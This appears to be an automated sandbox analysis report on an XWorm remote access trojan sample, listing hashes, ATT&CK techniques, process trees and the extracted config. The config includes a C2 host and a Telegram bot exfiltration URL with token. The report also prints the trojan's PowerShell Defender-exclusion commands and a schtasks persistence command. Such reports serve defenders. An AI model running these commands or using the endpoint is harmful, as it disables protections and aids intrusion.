xworm | cc28640de6594899debc7afeccd103550c9925c35fb6ac86503acb80169d6f2c

General

Target

blessnig.exe
Size

70KB
MD5

e8f1d07ff83c5c50eed5ed71c6f0a349
SHA1

77fb738a98dbcd711438a55aa6afb34b0a61d503
SHA256

cc28640de6594899debc7afeccd103550c9925c35fb6ac86503acb80169d6f2c
SHA512

e1509708747273de776771b7fbde835a1a23434ede474e861d12b8253595406ad3a1427da3deff3ac2965b4f6e02748d67bc8630a460779587a2c3152dad8acd
SSDEEP

1536:Cz0Jl56GYl8zQ8kk9WxDS8jN4WUvK9b+ORkEQlq6R+2OCOgrzn+C:Tb6GI8zQTk9OO8+WL9b+tES+2OCOgf+C

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

blood-pattern.gl.at.ply.gg:24558

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2112-1-0x00000000001C0000-0x00000000001D8000-memory.dmp	family_xworm
behavioral1/files/0x000e00000001226d-32.dat	family_xworm
behavioral1/memory/668-34-0x0000000000FA0000-0x0000000000FB8000-memory.dmp	family_xworm
behavioral1/memory/628-38-0x00000000012E0000-0x00000000012F8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2392	powershell.exe
3004	powershell.exe
2184	powershell.exe
2888	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	blessnig.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	blessnig.exe

Executes dropped EXE 3 IoCs

pid	Process
668	security
628	security
1536	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	blessnig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2772	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2112	blessnig.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2392	powershell.exe
3004	powershell.exe
2184	powershell.exe
2888	powershell.exe
2112	blessnig.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	blessnig.exe
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2112	blessnig.exe
Token: SeDebugPrivilege	668	security
Token: SeDebugPrivilege	628	security
Token: SeDebugPrivilege	1536	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2112	blessnig.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2392	2112	blessnig.exe	30
PID 2112 wrote to memory of 2392	2112	blessnig.exe	30
PID 2112 wrote to memory of 2392	2112	blessnig.exe	30
PID 2112 wrote to memory of 3004	2112	blessnig.exe	32
PID 2112 wrote to memory of 3004	2112	blessnig.exe	32
PID 2112 wrote to memory of 3004	2112	blessnig.exe	32
PID 2112 wrote to memory of 2184	2112	blessnig.exe	34
PID 2112 wrote to memory of 2184	2112	blessnig.exe	34
PID 2112 wrote to memory of 2184	2112	blessnig.exe	34
PID 2112 wrote to memory of 2888	2112	blessnig.exe	36
PID 2112 wrote to memory of 2888	2112	blessnig.exe	36
PID 2112 wrote to memory of 2888	2112	blessnig.exe	36
PID 2112 wrote to memory of 2772	2112	blessnig.exe	38
PID 2112 wrote to memory of 2772	2112	blessnig.exe	38
PID 2112 wrote to memory of 2772	2112	blessnig.exe	38
PID 1376 wrote to memory of 668	1376	taskeng.exe	43
PID 1376 wrote to memory of 668	1376	taskeng.exe	43
PID 1376 wrote to memory of 668	1376	taskeng.exe	43
PID 1376 wrote to memory of 628	1376	taskeng.exe	44
PID 1376 wrote to memory of 628	1376	taskeng.exe	44
PID 1376 wrote to memory of 628	1376	taskeng.exe	44
PID 1376 wrote to memory of 1536	1376	taskeng.exe	45
PID 1376 wrote to memory of 1536	1376	taskeng.exe	45
PID 1376 wrote to memory of 1536	1376	taskeng.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\blessnig.exe
"C:\Users\Admin\AppData\Local\Temp\blessnig.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blessnig.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'blessnig.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2772

C:\Windows\system32\taskeng.exe
taskeng.exe {A809C3D9-4B94-41E3-88B4-39BEB81CCE09} S-1-5-21-2703099537-420551529-3771253338-1000:XECUDNCD\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:668
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:628
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d966e6325fcce71df1b180acb3f5386b

SHA1
d87c97935210bca09983abc4ac7a10483daf3292

SHA256
d1d2a4c54a89e4b9e2ff8275034525c4f892dd7b322e1a82b91e551c184b22c0

SHA512
4e51551af9978de06d040a1086d00977813caf96c398bab135f339e3a1be806d0fa0a24cdfabbb389c7269f30fe36b84bd01a15fd018c009115da5d631393be4

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
70KB

MD5
e8f1d07ff83c5c50eed5ed71c6f0a349

SHA1
77fb738a98dbcd711438a55aa6afb34b0a61d503

SHA256
cc28640de6594899debc7afeccd103550c9925c35fb6ac86503acb80169d6f2c

SHA512
e1509708747273de776771b7fbde835a1a23434ede474e861d12b8253595406ad3a1427da3deff3ac2965b4f6e02748d67bc8630a460779587a2c3152dad8acd

Download Submit
memory/628-38-0x00000000012E0000-0x00000000012F8000-memory.dmp

Filesize
96KB

Download
memory/668-34-0x0000000000FA0000-0x0000000000FB8000-memory.dmp

Filesize
96KB

Download
memory/2112-30-0x000000001B0E0000-0x000000001B160000-memory.dmp

Filesize
512KB

Download
memory/2112-1-0x00000000001C0000-0x00000000001D8000-memory.dmp

Filesize
96KB

Download
memory/2112-0-0x000007FEF5A03000-0x000007FEF5A04000-memory.dmp

Filesize
4KB

Download
memory/2112-35-0x000000001B0E0000-0x000000001B160000-memory.dmp

Filesize
512KB

Download
memory/2392-7-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2392-8-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2392-6-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/3004-15-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/3004-14-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads